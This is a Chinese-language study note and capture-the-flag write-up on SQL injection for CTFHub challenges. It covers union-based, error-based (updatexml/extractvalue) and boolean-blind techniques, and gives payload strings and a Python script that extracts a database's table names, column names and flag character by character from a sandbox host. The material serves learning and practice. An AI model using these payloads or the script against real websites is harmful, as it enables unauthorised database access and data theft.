SQL注入学习
SQL注入学习
SQL注入分类
回显正常:联合查询注入 union select
回显报错:
- updatexml()
- extractvalue()
盲注(只知道语句的对错)
- 布尔型盲注(语句对和错,页面反应不一样)
- 时间盲注(利用sleep()使得正确语句执行时间变长,页面反应时间变长)
以下为ctfhub技能树的题目
SQL 整数型注入
首先通过 order by 2 正常 order by 3 异常,得到总共2列
通过联合查询version(),得到数据库名 sqli
通过联合查询爆表名 得到flag、news两表
通过联合查询爆flag表的列名
查询sqli数据库的flag表的flag列得到flag
SQL 字符型注入
注意最左侧引号闭合,以及注释最右侧引号,本题其他同上
SQL 报错注入
基础知识:常用报错函数
-
updatexml():是mysql对xml文档数据进行查询和修改的xpath函数
updatexml函数的作用就是改变(查找并替换)xml文档中符合条件的节点的值
语法:updatexml(xml_document,XPthstring,new_value)
第一个参数是字符串
第二个参数是指定字符串中的一个位置(Xpath格式的字符串)
第三个参数是将要替换成什么 -
extractvalue():是mysql对xml文档数据进行查询的xpath函数
extractvalue()函数的作用是从目标xml中返回包含所查询值的字符串
语法:extractvalue (XML_document, XPath_string)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为doc
第二个参数:XPath_string(Xpath格式的字符串)
Xpath定位必须是有效的,否则则会发生错误。我们就能利用这个特性爆出我们想要的数据
构造payload
1 union select updatexml(1,concat(0x7e,(查询语句),0x7e),1)
1 union select extractvalue(1,concat(0x7e,(查询语句),0x7e))
由于0x7e是~,不属于xpath语法格式,因此报出xpath语法错误。
以下采用payload1 同上得到flag
注意到flag字符串右侧明显被截断,即回显长度有限制。所以采用right函数,回显字符串右侧部分
参考资料 https://www.cnblogs.com/ly2333/p/13540765.html
SQL 布尔注入
可以注意到, 在注入时页面无具体数据返回。只在成功时候返回query_success,失败时返回query_error。如下图所示
1=0为假,显示query_error
1=1为真,显示query_success
python脚本代码如下,代码参考
import requests
import sys
import time
session=requests.session()
url = "http://challenge-1407f31d071b34c6.sandbox.ctfhub.com:10800/?id=1"
name = ""
'''for i in range(1,10):
print(i)
for j in range(128,31,-1):
str_ascii=chr(j)
#数据库名
payolad = " and substr(database(),%d,1) = '%s'"%(i,str(str_ascii))
# #表名
k=0 #k为爆表名或者爆字段名的时候,选择爆第几个的信息(一个数据库下可能有多个表,一个表下可能有多个字段)
payolad = " and substr((select table_name from information_schema.tables where table_schema='sqli' limit %d,1),%d,1) = '%s' " %(k,i,str(str_ascii))
# #字段名
# payolad = " and substr((select column_name from information_schema.columns where table_name='flag' limit %d,1),%d,1) = '%s'" %(k,i,str(str_ascii))
str_get = session.get(url=url + payolad).text
if "query_success" in str_get:
if str_ascii == "+":
sys.exit()
else:
name+=str_ascii
break
print(name)
'''
#查询字段内容
for i in range(1,50):
print(i)
time.sleep(2)
for j in range(128,31,-1):
str_ascii=chr(j)
payolad = " and substr((select flag from sqli.flag),%d,1) = '%s'" %(i,str_ascii)
str_get = session.get(url=url + payolad).text
if "query_success" in str_get:
if str_ascii == "+":
sys.exit()
else:
name += str_ascii
break
print(name)
代码的大致思路就是**在 ?id=1 and 后加上一句是否相等的判断语句,通过查询是否成功得到 相等判断语句 的对错**。i控制想要得到字符串的第i位字符,j从128遍历到31,猜测第i位字符是什么字符。
爆数据库
爆表名
爆字段名
得到flag
水平有限,代码中23,24,;39,40中特判暂时不知道为什么。
if str_ascii == "+":
sys.exit()
但是不加上特判会得到结果 sqli++++++
参考资料
未完待续.....